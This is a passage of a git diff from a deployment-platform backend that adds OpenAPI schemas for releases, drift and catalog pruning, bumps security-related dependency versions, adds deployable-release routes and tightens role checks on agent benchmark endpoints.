"name": { @@ -40256,6 +41976,302 @@ "title": "DeployAllRequest", "description": "Request body for POST /api/projects/{id}/deploy-all." }, + "DeployStackRequest": { + "properties": { + "deployable_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Deployable Release Id" + } + }, + "type": "object", + "title": "DeployStackRequest", + "description": "Optional body for stack deploy / run-deploy. Carries BNK release override for bare-metal blueprints." + }, + "DeployableReleaseListResponse": { + "properties": { + "releases": { + "items": { + "$ref": "#/components/schemas/DeployableReleaseResponse" + }, + "type": "array", + "title": "Releases" + } + }, + "type": "object", + "required": [ + "releases" + ], + "title": "DeployableReleaseListResponse" + }, + "DeployableReleaseResponse": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "name": { + "type": "string", + "title": "Name" + }, + "display_name": { + "type": "string", + "title": "Display Name" + }, + "description": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Description" + }, + "is_default": { + "type": "boolean", + "title": "Is Default" + }, + "is_active": { + "type": "boolean", + "title": "Is Active" + }, + "source_type": { + "type": "string", + "title": "Source Type" + }, + "bnk_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Bnk Release Id" + }, + "bnk_manifest_version": { + "type": "string", + "title": "Bnk Manifest Version" + }, + "bnk_cr_kind": { + "type": "string", + "title": "Bnk Cr Kind" + }, + "flo_version": { + "type": "string", + "title": "Flo Version" + }, + "k8s_version": { + "type": "string", + "title": "K8S Version" + }, + "doca_version": { + "type": "string", + "title": "Doca Version" + }, + "containerd_version": { + "type": "string", + "title": "Containerd Version" + }, + "runc_version": { + "type": "string", + "title": "Runc Version" + }, + "calico_version": { + "type": "string", + "title": "Calico Version" + }, + "cert_manager_version": { + "type": "string", + "title": "Cert Manager Version" + }, + "gateway_api_version": { + "type": "string", + "title": "Gateway Api Version" + }, + "multus_version": { + "type": "string", + "title": "Multus Version" + }, + "sriov_version": { + "type": "string", + "title": "Sriov Version" + }, + "storage_class_type": { + "type": "string", + "title": "Storage Class Type" + }, + "storage_provisioner": { + "type": "string", + "title": "Storage Provisioner" + }, + "feature_flags": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "title": "Feature Flags" + }, + "source_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Source Id" + }, + "last_synced": { + "anyOf": [ + { + "type": "string", + "format": "date-time" + }, + { + "type": "null" + } + ], + "title": "Last Synced" + }, + "created_at": { + "type": "string", + "format": "date-time", + "title": "Created At" + } + }, + "type": "object", + "required": [ + "id", + "name", + "display_name", + "description", + "is_default", + "is_active", + "source_type", + "bnk_release_id", + "bnk_manifest_version", + "bnk_cr_kind", + "flo_version", + "k8s_version", + "doca_version", + "containerd_version", + "runc_version", + "calico_version", + "cert_manager_version", + "gateway_api_version", + "multus_version", + "sriov_version", + "storage_class_type", + "storage_provisioner", + "feature_flags", + "created_at" + ], + "title": "DeployableReleaseResponse" + }, + "DeploymentOutputResponse": { + "properties": { + "module_id": { + "type": "integer", + "title": "Module Id" + }, + "deployment_id": { + "type": "integer", + "title": "Deployment Id" + }, + "action": { + "type": "string", + "title": "Action" + }, + "status": { + "type": "string", + "title": "Status" + }, + "exit_code": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Exit Code" + }, + "started_at": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Started At" + }, + "completed_at": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Completed At" + }, + "duration_seconds": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "null" + } + ], + "title": "Duration Seconds" + }, + "stdout": { + "type": "string", + "title": "Stdout" + }, + "stderr": { + "type": "string", + "title": "Stderr" + }, + "truncated": { + "type": "boolean", + "title": "Truncated", + "default": false + } + }, + "type": "object", + "required": [ + "module_id", + "deployment_id", + "action", + "status", + "stdout", + "stderr" + ], + "title": "DeploymentOutputResponse", + "description": "Response for GET /api/project-modules/{id}/deployments/{deployment_id}/output.\n\nThe captured stdout/stderr of a deployment run. Without this the only place a\nfailed module's step output existed was the UI's log viewer, so a headless or\nCI-driven deploy had no way to find out why it failed (issue #526)." + }, "DeploymentPlanPreview": { "properties": { "topology": { @@ -42315,6 +44331,39 @@ ], "title": "Bfb Hostname" }, + "kubernetes_cluster_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Kubernetes Cluster Id" + }, + "host_tmfifo_ip": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Host Tmfifo Ip" + }, + "dpu_tmfifo_ip": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Dpu Tmfifo Ip" + }, "created_at": { "type": "string", "format": "date-time", @@ -43742,6 +45791,25 @@ "type": "object", "title": "F5DeviceUpdate" }, + "FailedTag": { + "properties": { + "tag": { + "type": "string", + "title": "Tag" + }, + "reason": { + "type": "string", + "title": "Reason" + } + }, + "type": "object", + "required": [ + "tag", + "reason" + ], + "title": "FailedTag", + "description": "A single tag that could not be added to the Catalog." + }, "FanOutCommandRequest": { "properties": { "action": { @@ -46655,6 +48723,108 @@ "title": "ModuleActionsListResponse", "description": "Response for GET /api/project-modules/{id}/actions." }, + "ModuleDriftStatus": { + "properties": { + "module_id": { + "type": "integer", + "title": "Module Id" + }, + "module_name": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Module Name" + }, + "module_path": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Module Path" + }, + "engine_type": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Engine Type" + }, + "status": { + "type": "string", + "title": "Status" + }, + "drift_detected": { + "type": "boolean", + "title": "Drift Detected" + }, + "drift_summary": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Drift Summary" + }, + "drift_details": { + "anyOf": [ + { + "additionalProperties": true, + "type": "object" + }, + { + "type": "null" + } + ], + "title": "Drift Details" + }, + "last_check_at": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Last Check At" + }, + "check_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Check Id" + } + }, + "type": "object", + "required": [ + "module_id", + "status", + "drift_detected" + ], + "title": "ModuleDriftStatus", + "description": "Per-module drift status entry within a cluster drift status response." + }, "ModuleReportContentResponse": { "properties": { "path": { @@ -49432,6 +51602,11 @@ "title": "Failed Count", "default": 0 }, + "module_state": { + "type": "string", + "title": "Module State", + "default": "unknown" + }, "owner": { "anyOf": [ { @@ -50347,6 +52522,11 @@ "title": "Failed Count", "default": 0 }, + "module_state": { + "type": "string", + "title": "Module State", + "default": "unknown" + }, "cluster_count": { "type": "integer", "title": "Cluster Count", @@ -51992,6 +54172,119 @@ "title": "ProxyTranslateUnmapped", "description": "One lossy/unsupported construct that could not be auto-translated (D-017)." }, + "PruneItemResponse": { + "properties": { + "identity": { + "type": "string", + "title": "Identity", + "description": "Module path, or blueprint id" + }, + "version": { + "type": "string", + "title": "Version", + "description": "The version or release considered" + }, + "action": { + "type": "string", + "enum": [ + "kept", + "deactivated", + "deleted", + "in_use" + ], + "title": "Action", + "description": "kept \u2014 within the newest `keep`, or already inactive; deactivated \u2014 hidden but still resolvable for anything pinned to it; deleted \u2014 row removed, only ever one nothing references; in_use \u2014 something is deployed from it, so it was left untouched" + }, + "reason": { + "type": "string", + "title": "Reason", + "description": "Why, when the action needs explaining", + "default": "" + } + }, + "type": "object", + "required": [ + "identity", + "version", + "action" + ], + "title": "PruneItemResponse", + "description": "What happened to one catalog version." + }, + "PruneRequest": { + "properties": { + "keep": { + "type": "integer", + "maximum": 50.0, + "minimum": 1.0, + "title": "Keep", + "description": "Newest versions to keep per module path / blueprint id", + "default": 1 + }, + "delete": { + "type": "boolean", + "title": "Delete", + "description": "Remove unreferenced rows outright instead of deactivating", + "default": false + }, + "dry_run": { + "type": "boolean", + "title": "Dry Run", + "description": "Report what would happen and change nothing", + "default": false + }, + "include_in_use": { + "type": "boolean", + "title": "Include In Use", + "description": "Also deactivate versions something is deployed from. They are still never deleted.", + "default": false + } + }, + "type": "object", + "title": "PruneRequest", + "description": "How much of a source's version history to retire.\n\nShared by both prune routes. They were byte-identical inline models in the\ntwo route files, which is the \"schemas live in TWO places\" trap in\nAGENTS.md \u2014 and it would have produced two separate OpenAPI schema names\nfree to drift apart." + }, + "PruneResponse": { + "properties": { + "source_id": { + "type": "integer", + "title": "Source Id" + }, + "dry_run": { + "type": "boolean", + "title": "Dry Run", + "description": "True when nothing was changed" + }, + "keep": { + "type": "integer", + "title": "Keep", + "description": "Newest versions retained per module path / blueprint id" + }, + "counts": { + "additionalProperties": { + "type": "integer" + }, + "type": "object", + "title": "Counts", + "description": "Item count per action" + }, + "items": { + "items": { + "$ref": "#/components/schemas/PruneItemResponse" + }, + "type": "array", + "title": "Items" + } + }, + "type": "object", + "required": [ + "source_id", + "dry_run", + "keep" + ], + "title": "PruneResponse", + "description": "The full plan, and what was carried out unless ``dry_run``." + }, "PublishTemplateRequest": { "properties": { "is_public": { @@ -52006,6 +54299,57 @@ "title": "PublishTemplateRequest", "description": "Schema for publishing/unpublishing a template" }, + "PullTagsRequest": { + "properties": { + "tags": { + "items": { + "type": "string" + }, + "type": "array", + "title": "Tags", + "description": "Registry tags to pull (verbatim)." + } + }, + "type": "object", + "required": [ + "tags" + ], + "title": "PullTagsRequest", + "description": "Request body for POST /{id}/tags:pull." + }, + "PullTagsSummary": { + "properties": { + "added": { + "items": { + "type": "string" + }, + "type": "array", + "title": "Added" + }, + "skipped": { + "items": { + "type": "string" + }, + "type": "array", + "title": "Skipped" + }, + "failed": { + "items": { + "$ref": "#/components/schemas/FailedTag" + }, + "type": "array", + "title": "Failed" + } + }, + "type": "object", + "required": [ + "added", + "skipped", + "failed" + ], + "title": "PullTagsSummary", + "description": "Response for POST /{id}/tags:pull.\n\nNested model (not dict) so Pydantic's response_model serialisation\npreserves the reason field inside each FailedTag entry." + }, "QKViewCancelResponse": { "properties": { "cancelled": { @@ -53056,6 +55400,49 @@ "title": "RegistryTFCImport", "description": "Schema for importing a Terraform Cloud private module." }, + "ReleaseDrift": { + "properties": { + "status": { + "type": "string", + "enum": [ + "in_sync", + "drifted", + "not_forge_deployed", + "undiscovered", + "deployed_unresolved" + ], + "title": "Status" + }, + "deployed_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Deployed Release Id" + }, + "running_release_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Running Release Id" + } + }, + "type": "object", + "required": [ + "status" + ], + "title": "ReleaseDrift", + "description": "Deployed-vs-running release-line drift signal (ADR-494 Phase B).\n\nGranularity is VERSION LINE (e.g. BNK 2.3 vs BNK 2.4), not exact build\n(e.g. 2.3.0 vs 2.3.1). Discovery resolves a FLO chart version to a whole\nrelease-line registry row; exact point-release comparison is deferred until\ndiscovery emits build-level information.\n\nStatus meanings:\n in_sync \u2014 deployed and running resolve to the same release line\n drifted \u2014 deployed and running resolve to different release lines\n not_forge_deployed \u2014 cluster has no Forge-tracked deployable release\n undiscovered \u2014 cluster has not been scanned / FLO version undetectable\n deployed_unresolved \u2014 cluster is Forge-deployed but the deployed release's FLO version\n could not be resolved to a known release line" + }, "ReleaseRegistryItemResponse": { "properties": { "id": { @@ -53177,6 +55564,355 @@ ], "title": "ReleaseRegistryItemResponse" }, + "ReleaseSourceCreate": { + "properties": { + "name": { + "type": "string", + "title": "Name" + }, + "kind": { + "$ref": "#/components/schemas/ReleaseSourceKind" + }, + "url": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Url" + }, + "credential": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Credential", + "description": "Pull-secret or token; encrypted before storage." + }, + "is_active": { + "type": "boolean", + "title": "Is Active", + "default": true + }, + "auto_sync": { + "type": "boolean", + "title": "Auto Sync", + "default": false + }, + "sync_interval_hours": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Sync Interval Hours" + }, + "description": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Description" + } + }, + "type": "object", + "required": [ + "name", + "kind" + ], + "title": "ReleaseSourceCreate" + }, + "ReleaseSourceKind": { + "type": "string", + "enum": [ + "oci", + "mirror", + "manual" + ], + "title": "ReleaseSourceKind", + "description": "The transport kind of a ReleaseSource \u2014 where the Catalog syncs releases from." + }, + "ReleaseSourceResponse": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "name": { + "type": "string", + "title": "Name" + }, + "kind": { + "type": "string", + "title": "Kind" + }, + "url": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Url" + }, + "has_credential": { + "type": "boolean", + "title": "Has Credential" + }, + "is_active": { + "type": "boolean", + "title": "Is Active" + }, + "auto_sync": { + "type": "boolean", + "title": "Auto Sync" + }, + "sync_interval_hours": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Sync Interval Hours" + }, + "last_synced_at": { + "anyOf": [ + { + "type": "string", + "format": "date-time" + }, + { + "type": "null" + } + ], + "title": "Last Synced At" + }, + "sync_status": { + "type": "string", + "title": "Sync Status" + }, + "sync_error": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Sync Error" + }, + "release_count": { + "type": "integer", + "title": "Release Count" + }, + "description": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Description" + }, + "created_at": { + "type": "string", + "format": "date-time", + "title": "Created At" + }, + "updated_at": { + "type": "string", + "format": "date-time", + "title": "Updated At" + } + }, + "type": "object", + "required": [ + "id", + "name", + "kind", + "url", + "has_credential", + "is_active", + "auto_sync", + "sync_interval_hours", + "last_synced_at", + "sync_status", + "sync_error", + "release_count", + "description", + "created_at", + "updated_at" + ], + "title": "ReleaseSourceResponse" + }, + "ReleaseSourceTag": { + "properties": { + "tag": { + "type": "string", + "title": "Tag" + }, + "in_catalog": { + "type": "boolean", + "title": "In Catalog" + }, + "prerelease": { + "type": "boolean", + "title": "Prerelease" + } + }, + "type": "object", + "required": [ + "tag", + "in_catalog", + "prerelease" + ], + "title": "ReleaseSourceTag", + "description": "A single tag from the OCI/mirror registry with catalog-membership annotation." + }, + "ReleaseSourceTagList": { + "properties": { + "tags": { + "items": { + "$ref": "#/components/schemas/ReleaseSourceTag" + }, + "type": "array", + "title": "Tags" + }, + "list_error": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "List Error" + } + }, + "type": "object", + "required": [ + "tags" + ], + "title": "ReleaseSourceTagList", + "description": "Response for GET /{id}/tags. tags is empty on listing failure." + }, + "ReleaseSourceUpdate": { + "properties": { + "name": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Name" + }, + "kind": { + "anyOf": [ + { + "$ref": "#/components/schemas/ReleaseSourceKind" + }, + { + "type": "null" + } + ] + }, + "url": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Url" + }, + "credential": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Credential", + "description": "Set to update; omit to leave unchanged." + }, + "is_active": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "title": "Is Active" + }, + "auto_sync": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "title": "Auto Sync" + }, + "sync_interval_hours": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Sync Interval Hours" + }, + "description": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Description" + } + }, + "type": "object", + "title": "ReleaseSourceUpdate" + }, "ResourceCreateRequest": { "properties": { "resource_yaml": { @@ -56857,6 +59593,39 @@ "title": "SuccessResponse", "description": "Generic success response for mutating operations." }, + "SyncSourceRequest": { + "properties": { + "manifest_yaml": { + "type": "string", + "title": "Manifest Yaml" + } + }, + "type": "object", + "required": [ + "manifest_yaml" + ], + "title": "SyncSourceRequest" + }, + "SyncSourceResponse": { + "properties": { + "source": { + "$ref": "#/components/schemas/ReleaseSourceResponse" + }, + "sync_result": { + "additionalProperties": { + "type": "integer" + }, + "type": "object", + "title": "Sync Result" + } + }, + "type": "object", + "required": [ + "source", + "sync_result" + ], + "title": "SyncSourceResponse" + }, "SystemHealthResponse": { "properties": { "services": { @@ -57862,6 +60631,292 @@ "type": "object", "title": "UpgradeReleaseRequest" }, + "UseCaseApplicationResponse": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "artifact_version_id": { + "type": "integer", + "title": "Artifact Version Id" + }, + "cluster_id": { + "type": "integer", + "title": "Cluster Id" + }, + "param_values": { + "additionalProperties": true, + "type": "object", + "title": "Param Values" + }, + "applied_by": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Applied By" + }, + "applied_at": { + "type": "string", + "format": "date-time", + "title": "Applied At" + } + }, + "type": "object", + "required": [ + "id", + "artifact_version_id", + "cluster_id", + "param_values", + "applied_by", + "applied_at" + ], + "title": "UseCaseApplicationResponse" + }, + "UseCaseApplyRequest": { + "properties": { + "param_values": { + "additionalProperties": true, + "type": "object", + "title": "Param Values" + } + }, + "type": "object", + "required": [ + "param_values" + ], + "title": "UseCaseApplyRequest", + "description": "Concrete param values to inject when rendering the artifact version." + }, + "UseCaseApplyResponse": { + "properties": { + "message": { + "type": "string", + "title": "Message" + }, + "results": { + "additionalProperties": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array" + }, + "type": "object", + "title": "Results" + }, + "application": { + "$ref": "#/components/schemas/UseCaseApplicationResponse" + } + }, + "type": "object", + "required": [ + "message", + "results", + "application" + ], + "title": "UseCaseApplyResponse" + }, + "UseCaseArtifactVersionResponse": { + "properties": { + "id": { + "type": "integer", + "title": "Id" + }, + "artifact_id": { + "type": "integer", + "title": "Artifact Id" + }, + "version": { + "type": "string", + "title": "Version" + }, + "matching_bnk_version": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Matching Bnk Version" + }, + "cr_templates": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array", + "title": "Cr Templates" + }, + "param_schema": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array", + "title": "Param Schema" + }, + "source": { + "type": "string", + "title": "Source" + }, + "source_cluster_id": { + "anyOf": [ + { + "type": "integer" + }, + { + "type": "null" + } + ], + "title": "Source Cluster Id" + }, + "content_hash": { + "type": "string", + "title": "Content Hash" + }, + "created_by": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Created By" + }, + "created_at": { + "type": "string", + "format": "date-time", + "title": "Created At" + } + }, + "type": "object", + "required": [ + "id", + "artifact_id", + "version", + "matching_bnk_version", + "cr_templates", + "param_schema", + "source", + "source_cluster_id", + "content_hash", + "created_by", + "created_at" + ], + "title": "UseCaseArtifactVersionResponse" + }, + "UseCaseCaptureRequest": { + "properties": { + "name": { + "type": "string", + "title": "Name" + }, + "version": { + "type": "string", + "title": "Version" + }, + "matching_bnk_version": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Matching Bnk Version" + } + }, + "type": "object", + "required": [ + "name", + "version" + ], + "title": "UseCaseCaptureRequest", + "description": "Capture F5SPKVlan CRs from a cluster into a named, versioned artifact." + }, + "UseCaseCaptureResponse": { + "properties": { + "version": { + "$ref": "#/components/schemas/UseCaseArtifactVersionResponse" + }, + "already_captured": { + "type": "boolean", + "title": "Already Captured" + } + }, + "type": "object", + "required": [ + "version", + "already_captured" + ], + "title": "UseCaseCaptureResponse" + }, + "UseCaseDriftRequest": { + "properties": { + "param_values": { + "additionalProperties": true, + "type": "object", + "title": "Param Values" + } + }, + "type": "object", + "required": [ + "param_values" + ], + "title": "UseCaseDriftRequest", + "description": "Param values to render the desired-state before diffing against the cluster." + }, + "UseCaseDriftResponse": { + "properties": { + "drift_detected": { + "type": "boolean", + "title": "Drift Detected" + }, + "resource_changes": { + "additionalProperties": { + "type": "integer" + }, + "type": "object", + "title": "Resource Changes" + }, + "changed_resources": { + "items": { + "additionalProperties": true, + "type": "object" + }, + "type": "array", + "title": "Changed Resources" + }, + "summary": { + "type": "string", + "title": "Summary" + }, + "check_duration_ms": { + "type": "integer", + "title": "Check Duration Ms" + } + }, + "type": "object", + "required": [ + "drift_detected", + "resource_changes", + "changed_resources", + "summary", + "check_duration_ms" + ], + "title": "UseCaseDriftResponse" + }, "UserCreateRequest": { "properties": { "username": { diff --git a/backend/requirements.txt b/backend/requirements.txt index 56b69499..057eff8d 100644 --- a/backend/requirements.txt +++ b/backend/requirements.txt @@ -18,13 +18,15 @@ sqlalchemy==2.0.36 psycopg2-binary==2.9.10 alembic==1.14.1 -# Security — cryptography 48.x fixes GHSA-537c-gmf6-5ccf (also CVE-2024-26130, CVE-2023-49083, CVE-2026-34073) -cryptography==48.0.1 +# Security — cryptography 50.x fixes PYSEC-2026-3552/3553/3554 (48.0.1 was affected; +# 3553/3554 need >=49, 3552 needs >=50). python-jose requires cryptography>=3.4.0 and +# paramiko >=3.3, so neither constrains the upper bound. +cryptography==50.0.0 python-jose[cryptography]==3.5.0 PyJWT==2.13.0 passlib[bcrypt]==1.7.4 bcrypt==4.2.1 -pyasn1==0.6.3 +pyasn1==0.6.4 # Task queue celery==5.4.0 @@ -36,7 +38,8 @@ croniter==5.0.1 # Infrastructure tools python-hcl2==4.3.5 -gitpython==3.1.50 +# 3.1.58: GHSA-3f7w-8rr8-f37f needs >=3.1.57, GHSA-p538-c434-8v24 needs >=3.1.56. +gitpython==3.1.58 boto3==1.36.4 google-auth==2.38.0 paramiko==5.0.0 diff --git a/backend/routes/bare_metal_deployable_releases.py b/backend/routes/bare_metal_deployable_releases.py new file mode 100644 index 00000000..e3a1ce43 --- /dev/null +++ b/backend/routes/bare_metal_deployable_releases.py @@ -0,0 +1,73 @@ +"""API routes for BNK deployable releases — version matrix management (ADR-478).""" + +import logging + +from fastapi import APIRouter, Depends +from pydantic import BaseModel +from sqlalchemy.orm import Session + +from core.errors import handle_route_errors +from database import get_db +from routes.auth import require_admin, require_viewer +from schemas.bare_metal import DeployableReleaseListResponse, DeployableReleaseResponse + +logger = logging.getLogger(__name__) + +router = APIRouter( + prefix="/api/bare-metal/deployable-releases", + tags=["bare-metal"], +) + + +class ActivateReleaseRequest(BaseModel): + is_active: bool + + +@router.get("", response_model=DeployableReleaseListResponse, dependencies=[Depends(require_viewer)]) +@handle_route_errors("list deployable releases") +def list_deployable_releases( + db: Session = Depends(get_db), +) -> DeployableReleaseListResponse: + """List all BNK deployable releases.""" + from services.bare_metal.version_profiles import BnkDeployableReleaseService + return BnkDeployableReleaseService(db).list_profiles() + + +@router.get("/{release_id}", response_model=DeployableReleaseResponse, dependencies=[Depends(require_viewer)]) +@handle_route_errors("get deployable release") +def get_deployable_release( + release_id: int, + db: Session = Depends(get_db), +) -> DeployableReleaseResponse: + """Get a specific deployable release.""" + from services.bare_metal.version_profiles import BnkDeployableReleaseService + return BnkDeployableReleaseService(db).get_profile(release_id) + + +@router.post("/{release_id}/activate", response_model=DeployableReleaseResponse, dependencies=[Depends(require_admin)]) +@handle_route_errors("activate deployable release") +def activate_deployable_release( + release_id: int, + body: ActivateReleaseRequest, + db: Session = Depends(get_db), +) -> DeployableReleaseResponse: + """Set is_active on a deployable release.""" + from services.bare_metal.version_profiles import BnkDeployableReleaseService + svc = BnkDeployableReleaseService(db) + result = svc.set_active(release_id, body.is_active) + db.commit() + return result + + +@router.post("/{release_id}/set-default", response_model=DeployableReleaseResponse, dependencies=[Depends(require_admin)]) +@handle_route_errors("set default deployable release") +def set_default_deployable_release( + release_id: int, + db: Session = Depends(get_db), +) -> DeployableReleaseResponse: + """Mark this release as the default, clearing is_default on all others.""" + from services.bare_metal.version_profiles import BnkDeployableReleaseService + svc = BnkDeployableReleaseService(db) + result = svc.set_default(release_id) + db.commit() + return result diff --git a/backend/routes/bare_metal_deployments.py b/backend/routes/bare_metal_deployments.py index 3d0457a3..0269d0bb 100644 --- a/backend/routes/bare_metal_deployments.py +++ b/backend/routes/bare_metal_deployments.py @@ -57,12 +57,16 @@ def create_deployment( """ from services.bare_metal.orchestrator import BareMetalDeploymentService svc = BareMetalDeploymentService(db) + deployment = svc.create_deployment( + # data.host_id is guaranteed non-None by BareMetalDeploymentCreate._validate_host_ids host_id=data.host_id, project_id=project_id, + worker_host_ids=data.worker_host_ids, resume_from_step=data.resume_from_step, selected_phases=data.selected_phases, selected_steps=data.selected_steps, + deployable_release_id=data.deployable_release_id, ) db.commit() diff --git a/backend/routes/bare_metal_version_profiles.py b/backend/routes/bare_metal_version_profiles.py deleted file mode 100644 index 99ff5341..00000000 --- a/backend/routes/bare_metal_version_profiles.py +++ /dev/null @@ -1,39 +0,0 @@ -"""API routes for BNK version profiles — version matrix management.""" - -import logging - -from fastapi import APIRouter, Depends -from sqlalchemy.orm import Session - -from core.errors import handle_route_errors -from database import get_db -from routes.auth import require_viewer -from schemas.bare_metal import BnkVersionProfileListResponse, BnkVersionProfileResponse - -logger = logging.getLogger(__name__) - -router = APIRouter( - prefix="/api/bare-metal/version-profiles", - tags=["bare-metal"], -) - - -@router.get("", response_model=BnkVersionProfileListResponse, dependencies=[Depends(require_viewer)]) -@handle_route_errors("list version profiles") -def list_version_profiles( - db: Session = Depends(get_db), -) -> BnkVersionProfileListResponse: - """List all BNK version profiles.""" - from services.bare_metal.version_profiles import BnkVersionProfileService - return BnkVersionProfileService(db).list_profiles() - - -@router.get("/{profile_id}", response_model=BnkVersionProfileResponse, dependencies=[Depends(require_viewer)]) -@handle_route_errors("get version profile") -def get_version_profile( - profile_id: int, - db: Session = Depends(get_db), -) -> BnkVersionProfileResponse: - """Get a specific version profile.""" - from services.bare_metal.version_profiles import BnkVersionProfileService - return BnkVersionProfileService(db).get_profile(profile_id) diff --git a/backend/routes/benchmarks.py b/backend/routes/benchmarks.py index 1a9069a1..b47f64ce 100644 --- a/backend/routes/benchmarks.py +++ b/backend/routes/benchmarks.py @@ -55,6 +55,7 @@ BenchmarkTargetListResponse, BenchmarkTargetResponse, BenchmarkTargetUpdate, + BenchmarkTrendsResponse, DiscoverTargetsRequest, DiscoverTargetsResponse, ImportAwsJumphostRequest, @@ -83,14 +84,28 @@ # Agent auth helpers — flag-gated (BENCHMARK_AGENT_AUTH_REQUIRED) # ============================================================================ -def _require_agent_bearer(request: Request) -> None: - """When BENCHMARK_AGENT_AUTH_REQUIRED is ON, validate the bearer token. +# Roles whose tokens may write to the agent-facing endpoints. `agent` is the +# claim _mint_agent_token and the bootstrap token carry; operator/admin keeps +# the documented human curl flow (`curl -X POST .../results/aiperf` with a user +# token) working. A viewer token authenticates a person but grants no write +# intent, so it is rejected here even though it decodes cleanly. +_AGENT_WRITE_ROLES = frozenset({"agent", "operator", "admin"}) - Raises BadRequestError (→ 401) if the token is missing or invalid. - When the flag is OFF this is a no-op, preserving the open curl flow. + +def _require_agent_bearer(request: Request) -> dict: + """Gate the agent-facing mutating endpoints (register / ingest). + + Requires a valid bearer token whose role may write here (#148, the F6 half + of #41). Previously any valid token was accepted -- a viewer's included -- + and, because BENCHMARK_AGENT_AUTH_REQUIRED defaulted to False, on a default + deployment no token was required at all. + + Returns the decoded payload so callers can bind on its claims. When the flag + is OFF this returns {} without checking, preserving the open curl flow for + trusted networks that opt out explicitly. """ if not settings.BENCHMARK_AGENT_AUTH_REQUIRED: - return + return {} auth_header = request.headers.get("Authorization", "") if not auth_header.startswith("Bearer "): raise BadRequestError("Bearer token required", code="AGENT_AUTH_REQUIRED") @@ -98,9 +113,16 @@ def _require_agent_bearer(request: Request) -> None: from core.errors import UnauthorizedError from services.auth_service import decode_token try: - decode_token(token) + payload = decode_token(token) except UnauthorizedError as exc: raise BadRequestError(str(exc), code="AGENT_AUTH_INVALID") + role = str(payload.get("role") or "") + if role not in _AGENT_WRITE_ROLES: + raise BadRequestError( + f"Token role '{role or 'none'}' may not write to agent endpoints", + code="AGENT_AUTH_FORBIDDEN", + ) + return payload # ============================================================================ @@ -341,6 +363,37 @@ def delete_benchmark_run(run_id: int, db: Session = Depends(get_db)): db.commit() +@router.post( + "/api/benchmarks/runs/{run_id}/baseline", + response_model=BenchmarkRunResponse, + dependencies=[Depends(require_operator)], +) +@handle_route_errors("set benchmark run baseline") +def set_benchmark_run_baseline(run_id: int, db: Session = Depends(get_db)): + """Mark a completed run as the baseline for its (target, scenario/config) context. + + Clears any previous baseline in that same context — one baseline per context. + """ + svc = BenchmarkService(db) + result = svc.set_baseline(run_id) + db.commit() + return result + + +@router.delete( + "/api/benchmarks/runs/{run_id}/baseline", + response_model=BenchmarkRunResponse, + dependencies=[Depends(require_operator)], +) +@handle_route_errors("unset benchmark run baseline") +def unset_benchmark_run_baseline(run_id: int, db: Session = Depends(get_db)): + """Clear the baseline flag on a run.""" + svc = BenchmarkService(db) + result = svc.unset_baseline(run_id) + db.commit() + return result + + # ============================================================================ # Agent Endpoints — test client machine registration # ============================================================================ @@ -686,6 +739,22 @@ def get_benchmark_summary(db: Session = Depends(get_db)): return svc.get_summary() +@router.get("/api/benchmarks/trends", response_model=BenchmarkTrendsResponse, dependencies=[Depends(require_viewer)]) +@handle_route_errors("get benchmark trends") +def get_benchmark_trends( + target_id: 